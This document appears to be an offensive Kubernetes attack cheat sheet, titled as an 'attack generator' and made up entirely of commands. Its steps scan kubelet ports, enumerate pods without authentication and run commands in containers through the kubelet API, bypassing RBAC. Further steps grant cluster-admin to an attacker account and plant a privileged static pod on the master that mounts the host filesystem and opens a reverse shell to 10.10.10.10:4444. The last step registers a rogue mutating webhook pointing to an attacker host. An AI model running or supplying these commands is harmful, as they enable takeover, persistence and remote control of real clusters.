Cloud Infrastructure Attack Generator

# ── Port scan for kubelet API (10250 = authenticated, 10255 = unauthenticated) ──
nmap -p 10250,10255 <node-ip>

# ── Unauthenticated kubelet (port 10255) ──────────────
curl -sk http://<node-ip>:10255/pods | jq '.items[].metadata.name'
curl -sk http://<node-ip>:10255/runningpods | jq .

# ── Authenticated kubelet API (10250) ─────────────────
# Requires client cert or token — try with service account token:
curl -sk -H "Authorization: Bearer $TOKEN" https://<node-ip>:10250/pods

# ── List all pods on the node ─────────────────────────
curl -sk https://<node-ip>:10250/pods

# ── Execute command in a running container ────────────
curl -sk -X POST https://<node-ip>:10250/run/<namespace>/<pod>/<container> \
  -d "cmd=id"

# ── Stream container logs ──────────────────────────────
curl -sk https://<node-ip>:10250/containerLogs/<namespace>/<pod>/<container>

# ── Run command without RBAC checks (bypass API server) ──
curl -sk -X POST https://<node-ip>:10250/exec/<namespace>/<pod>/<container>?command=bash&command=-i&stdin=true&stdout=true&stderr=true&tty=true

# ── Create ClusterRoleBinding for attacker account ───
kubectl create clusterrolebinding attacker-admin \
  --clusterrole=cluster-admin \
  --serviceaccount=default:my-service-account

# ── Grant cluster-admin to any user ──────────────────
kubectl create clusterrolebinding attacker-admin \
  --clusterrole=cluster-admin \
  [email protected]

# ── Persistence: static pod on master node ────────────
# Write to /etc/kubernetes/manifests/ on master:
cat <<'EOF' > /etc/kubernetes/manifests/backdoor.yaml
apiVersion: v1
kind: Pod
metadata:
  name: backdoor
  namespace: kube-system
spec:
  hostNetwork: true
  hostPID: true
  containers:
  - name: backdoor
    image: ubuntu:latest
    command: ["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"]
    securityContext:
      privileged: true
    volumeMounts:
    - mountPath: /host
      name: host-root
  volumes:
  - name: host-root
    hostPath:
      path: /
EOF

# ── Modify admission controller webhook for persistence ──
kubectl get validatingwebhookconfigurations
kubectl get mutatingwebhookconfigurations

# ── Create rogue admission webhook ────────────────────
cat <<'EOF' | kubectl apply -f -
apiVersion: admissionregistration.k8s.io/v1
kind: MutatingWebhookConfiguration
metadata:
  name: backdoor-webhook
webhooks:
- name: backdoor.10.10.10.10.nip.io
  clientConfig:
    url: "https://10.10.10.10:8443/mutate"
  rules:
  - apiGroups: [""]
    apiVersions: ["v1"]
    operations: ["CREATE"]
    resources: ["pods"]
  admissionReviewVersions: ["v1"]
  sideEffects: None
EOF